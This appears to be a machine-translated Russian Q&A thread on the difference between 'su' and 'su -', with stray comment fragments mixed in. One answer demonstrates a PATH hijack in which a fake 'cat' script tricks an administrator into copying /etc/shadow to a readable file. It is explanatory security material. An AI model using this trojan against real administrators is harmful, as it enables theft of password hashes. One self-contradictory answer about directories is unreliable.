Я не понимаю, почему su -
предпочтительнее su
войти в систему как root.
источник
Я не понимаю, почему su -
предпочтительнее su
войти в систему как root.
su -
вызывает оболочку входа в систему после переключения пользователя. Оболочка входа в систему сбрасывает большинство переменных среды, обеспечивая чистую базу.
su
просто переключает пользователя, обеспечивая нормальную оболочку со средой, почти такой же, как у старого пользователя.
Представьте, вы разработчик программного обеспечения с обычным пользовательским доступом к машине, а ваш невежественный администратор просто не даст вам root-доступ. Давайте (надеюсь) обмануть его.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Теперь вы спрашиваете своего администратора, почему вы не можете cat
использовать фиктивный файл в своей домашней папке, он просто не будет работать!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Если ваш админ не такой умный или просто ленивый, он может подойти к вам и попробовать свои полномочия суперпользователя:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Вау! Спасибо, супер админ!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Он, он.
Возможно, вы заметили, что поврежденная $PATH
переменная не была сброшена. Этого бы не произошло, если бы su -
вместо этого вызывал админ .
su --
так же, какsu
.umask
как 000, иначе это не сработает.su
файл в PATH. Не так сложно подражать поведению реальногоsu
. Супер-пользователь все равно был небрежным :-)su --
НЕ то же самое, чтоsu -
:--
говорит обработчику опций getopt (s) (или аналогичному) прекратить обработку командной строки для дальнейших опций (полезно, например, если остальные содержат имена файлов, которые могут начинаться с '-'). То есть, в «ет -i - -f»: -f затем обрабатывается как обычный аргумент, так что здесь , как имя файла , кrm -i
, а не в качестве additionnal-f
опции кrm
команде. Такsu --
это справедливоsu
и нетsu -
! Такsu --
что было бы небезопасно (веселый и поучительный) пример Гивана от виля. Используйтеsu -
.su -
полностью регистрирует вас как root, аsu
делает так, что вы притворяетесь root.Наиболее очевидный пример этого -
~
домашний каталог пользователя root, если вы его используетеsu -
, но ваш домашний каталог, если вы его используетеsu
.В зависимости от вашей системы это также может означать различия в подсказках
PATH
или файлах истории.Поэтому, если вы являетесь частью команды, администрирующей систему, и ваш коллега дает вам команду на запуск, вы знаете, что она будет работать одинаково, если вы оба используете
su -
, но если вы оба используетеsu
, могут быть различия из-за того, что у вас есть различные конфигурации оболочки.С другой стороны, если вы хотите запустить команду от имени пользователя root, но использовать свою собственную конфигурацию, то, возможно
su
, вам лучше.Также не забывайте о том
sudo
, что есть-s
возможность запустить оболочку от имени root. Конечно, это также имеет разные правила, и они меняются в зависимости от того, какой дистрибутив вы используете.источник
.bashrc
или/etc/bashrc
или/etc/profile.d
сценарии устанавливаютсяPATH
. Ищитеif [ $UID -eq 0 ]
или что-то в этом роде.$USER
например, оставлено без изменений.sudo su
?Я использую su - когда я нахожусь в каталоге как обычный пользователь, но хочу переключиться на root и оставаться в том же каталоге после переключения. Когда вы используете su - он переключает пользователя на root, а также переводит вас в / root, который является корневым домашним каталогом.
источник
/
все, что определено как домашний каталог rootОсновным отличием является:
su - username
устанавливает среду оболочки так, как если бы она была чистым логином от имени указанного пользователя, она обращается к переменным среды указанных пользователей и использует их,su username
просто запускает оболочку с текущими настройками среды для указанного пользователя.Если имя пользователя не указано с помощью
su
иsu -
, корневая учетная запись подразумевается по умолчанию.источник